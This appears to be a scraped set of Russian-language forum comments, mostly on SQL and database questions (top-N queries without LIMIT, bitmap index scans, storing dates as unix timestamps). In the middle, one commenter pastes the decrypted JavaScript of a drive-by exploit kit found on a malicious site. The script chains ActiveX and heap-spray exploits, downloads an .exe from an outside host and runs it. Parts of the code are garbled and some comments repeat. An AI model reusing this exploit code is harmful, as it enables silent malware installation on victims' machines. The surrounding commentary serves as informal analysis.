За что ж этому бедному слову так достается-то? То у одного что-то там «инкаплусируется», то вот у другого нарушение «инкапусляции»… Инкапсуляция она — словом «капсула» хотя бы проверяйте.
select g1.price, g1.product
from goods g1
join goods g2 on (g1.price <= g2.price)
group by g1.price, g1.product
having count(1) <= 5
Только все это как-то не очень прокатывает, если в таблице есть одинаковые цены. Может и это обходится, с утра плохо соображается, если судить по моему первому ответу…
Ну-ка, ну-ка, и как же? Только, справедливости ради, ко «всяким штукам вроде LIMIT» надо отнести и «FIRST 5»/«TOP 5», сеттинги типа rowcount, оракловый ROWNUM (не говоря уже об аналитике или MODEL) и сессионные переменные MySQL.
Дальнейшее расследование показало следующее: с User-Agent от IE (а, может, и не в User-Agent дело было, а просто ФФ лихо блокировал) скачивается страница со скриптом-дешифратором и зашифрованной строчкой, которая расшифруется в JS-код и eval'ится. Сам код:
var m=new Array();
var mf=0;
var url="http://worknssrv.cn/sp/load.php?id=124942";
function hex(num,width){
var digits="0123456789ABCDEF";
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length>16)&0xFFFF,4));
}
function unes(str){
var tmp="";
for(var i=0;i<<16)+
(str.charCodeAt(i+1)<<8)+
str.charCodeAt(i));
}
return unescape(tmp);
}
function hav(){
mf=mf;
setTimeout("hav()",1000);
}
function gss(ss,sss){
while(ss.length*2< 65535)padding += padding;
memo = new Array();
flush();
}
function flush(){
delete memo["plunger"];
CollectGarbage();
memo["plunger"] = new Array();
var bytes = new Array(32, 64, 256, 32768);
for (var i = 0; i < 6; i++) {
for(var n = 0; n < 4; n++) {
var len = memo["plunger"].length;
eval("memo[\"plunger\"][len] = padding.substr(0, (" + bytes[n] + "-6)/2);");
}
}
}
function alloc(arg, tag){
var size;
size = arg;
if (size == 32 || size == 64 || size == 256 || size == 32768) {}
if ( ! memo[tag] )memo[tag] = new Array();
var len = memo[tag].length;
memo[tag][len] = padding.substr(0, (arg-6)/2);
}
function alloc_str(arg, tag){
var size;
size = 4 + arg.length*2 + 2;
if (size == 32 || size == 64 || size == 256 || size == 32768) {}
if ( ! memo[tag])memo[tag] = new Array();
var len = memo[tag].length;
memo[tag][len] = arg.substr(0, arg.length);
}
function free(tag) {
delete memo[tag];
CollectGarbage();
flush();
}
function CreateO(o,n){
var r=null;
try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,"")}catch(e){}}
if(!r){try{r=o.CreateObject(n,"","")}catch(e){}}
if(!r){try{r=o.GetObject("",n)}catch(e){}}
if(!r){try{r=o.GetObject(n,"")}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return®;
}
function Go(a){
var eurl=url+"&spl=2";
var fname="wint80vubCfvErSJ.exe";
var fso=a.CreateObject("Scripting.FileSystemObject","")
var sap=CreateO(a,"Shell.Application");
var x=CreateO(a,"ADODB.Stream");
var nl=null;
fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
x.Mode=3;
try{nl=CreateO(a,"Micr"+"osoft.XMLH"+"TTP");nl.open("GET",eurl,false);}
catch(e){try{nl=CreateO(a,"MSXML2.XMLHTTP");nl.open("GET",eurl,false);}
catch(e){try{nl=CreateO(a,"MSXML2.ServerXMLHTTP");nl.open("GET",eurl,false);}
catch(e){try{nl=new XMLHttpRequest();nl.open("GET",eurl,false);}
catch(e){return 0;}}}}
x.Type=1;
nl.send(null);
rb=nl.responseBody;
x.Open();
x.Write(rb);
x.SaveTofile(fname,2);
sap.ShellExecute(fname);
return 1;
}
function attack(s){
var obj=null;
if(s==1){
var i=0;
var target=new Array("BD96C556-65A3-11D0-983A-00C04FC29E36","BD96C556-65A3-11D0-983A-00C04FC29E30","AB9BCEDD-EC7E-47E1-9322-D4A210617116","0006F033-0000-0000-C000-000000000046","0006F03A-0000-0000-C000-000000000046","6e32070a-766d-4ee6-879c-dc1fa91d2fc3","6414512B-B978-451D-A0D8-FCFDF33E833C","7F5B7F63-F06F-4331-8A26-339E03C0AE3D","06723E09-F4C2-43c8-8358-09FCD1DB0766","639F725F-1B2D-4831-A9FD-874847682010","BA018599-1DB3-44f9-83B4-461454C84BF8","D0C07D56-7C69-43F1-B4A0-25F5A11FAB19","E8CCCDDF-CA28-496b-B050-6C07C962476B",null);
while(target[i]){
var a=null;
a=document.createElement("object");
a.setAttribute("classid","clsid:"+target[i]);
if(a){try{var b=CreateO(a,"Shell.Application");if(b){Go(a);}}catch(e){}}
i++;
}
setTimeout("attack(2)",4000);
return 0;
}
if(s==2){
try{
obj=cobj("ShockwaveFlash.ShockwaveFlash.9");
if(obj){
ms("&spl=3");
document.getElementById("a1").innerHTML =
'
';
setTimeout("attack(3)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(3)",1);
return 0;
}
if(s==3){
try{
obj=cobj("WebViewFolderIcon.WebViewFolderIcon.1");
if(obj){
ms("&spl=4");
for(var i=0;i<128;i++){
var wvfio=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}
var wvfit=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
}
setTimeout("attack(4)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(4)",1);
return 0;
}
if(s==4){
try{
obj=cobj("{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}");
if(obj){
ms("&spl=5");
z=Math.ceil(0x0c0c0c0c);
z=document.scripts[0].createControlRange().length;
setTimeout("attack(5)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(5)",1);
return 0;
}
if(s==5){
try{
var obj=cobj("{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}");
if(obj){
ms("&spl=7");
var num = 202116108;
obj.WksPictureInterface = num;
setTimeout("attack(6)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(6)",1);
return 0;
}
if(s==6){
try{
var obj=cobj("{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}");
if(obj){
ms("&spl=8");
var buf = addr(0x0c0c0c0c);
while (buf.length < 512) buf += buf;
obj.cachefolder = buf;
setTimeout("attack(7)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(7)",1);
return 0;
}
if(s==7){
try{
obj=cobj("{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}");
if(obj){
ms("&spl=9");
var buf = "";
while (buf.length < 5000) buf += "\x0c\x0c\x0c\x0c";
obj.SetFormatLikeSample(buf);
setTimeout("attack(8)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(8)",1);
return 0;
}
if(s==8){
try{
obj=cobj("{F917534D-535B-416B-8E8F-0C04756C31A8}");
if(obj){
ms("&spl=10");
var buf = "";
while (buf.length < 600) buf += "\x0c\x0c\x0c\x0c";
obj.IEStartNative(buf);
setTimeout("attack(9)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(9)",1);
return 0;
}
if(s==9){
try{
obj=cobj("DirectAnimation.PathControl");
if(obj){
ms("&spl=6");
init();
var jmpecx = 0x0c0c0c0c;
var vtable = addr(0x7ceb9090);
for (var i = 0; i < 124/4; i++)vtable += addr(jmpecx);
vtable += padding.substr(0, (1008-138)/2);
var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
var fakeObjChunk = padding.substr(0, (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
CollectGarbage();
flush();
for (var i = 0; i < 100; i++)alloc_str(vtable);
alloc_str(vtable, "lookaside");
free("lookaside");
for (var i = 0; i < 100; i++)alloc(0x2010);
for (var i = 0; i < 2; i++) {
alloc_str(fakeObjChunk);
alloc_str(fakeObjChunk, "freeList");
}
alloc_str(fakeObjChunk);
free("freeList");
obj.KeyFrame(0x40000801, new Array(1), new Array(1));
setTimeout("attack(10)",2000);
return 0;
}
}catch(e){}
setTimeout("attack(10)",1);
return 0;
}
if(s==10){
window.location = "about:blank";
return 0;
}
}
attack(1);
Хм, на страницу worknssrv.cn/sp/index.php Firefox выдает пугающий красный варнинг «Reported Attack Site!». Сама страница присылает (кроме хедеров) контент длиной в 20 байт следующего содержания: 1F8B080000000000000303000000000000000000. Гугление вывело на сайт Symantec http://safeweb.norton.com/report/show? name=worknssrv.cn, говорящий, что это HTTP MSIE COM Object Memory Corruption. Правда ссылка на подробности о заразе ведет куда-то не туда…
Извиняюсь за поздний комментарий. Комбинировать можно так называемые bitmap индексы, погуглите про них в oracle. Postgres хотя и не имеет настоящих bitmap-индексов, умеет делать bitmap-сканы — www.postgresql.org/docs/8.3/static/indexes-bitmap-scans.html
Не все СУБД умеют комбинировать индексы, к тому же часто скан одного из индексов с фильтром по второму условию кажется оптимизатору более предпочтительным
Ну если до 2038 у Вашего приложения дожить перспектив нет, то можно и unix timestamp'ами даты хранить. Вообще же единственные достоинтсва такого способа — экономия места и простота ввода-вывода из базы/в базу (не надо думать про локали, timezone'ы и прочее). Из недостатков — узкий диапазон дат, секундное разрешение (да, у DATETIME в MySQL оно тоже секундное; в других DBMS это может быть и по-другому, как, например, как в PostgreSQL), неудобство работы с датами (типа: составить отчет на понедельник второй недели марта).
Вот уж неправда. Во-первых, если два одинаковых запроса идут НЕ в одной транзакции с уровнем изоляции SERIALIZABLE, то перечитывать придется, т.к. новые записи могли появится за это время. Во-вторых, представьте себе оверхед от кеширования результатов запросов; постгрес этим не занимается. Возможно, вы путаете с кешированием часто запрашиваемых страниц.
взял 3850 :)
Только все это как-то не очень прокатывает, если в таблице есть одинаковые цены. Может и это обходится, с утра плохо соображается, если судить по моему первому ответу…
Тут уже атака по всем фронтам ActiveX со скачиванием всякой исполняемой фигни с качать_не_стоит/worknssrv.cn/sp/load.php? id=124942&spl=num (num от 1 до 9)
Подробнее копаться заломало, да и так все понятно в общем-то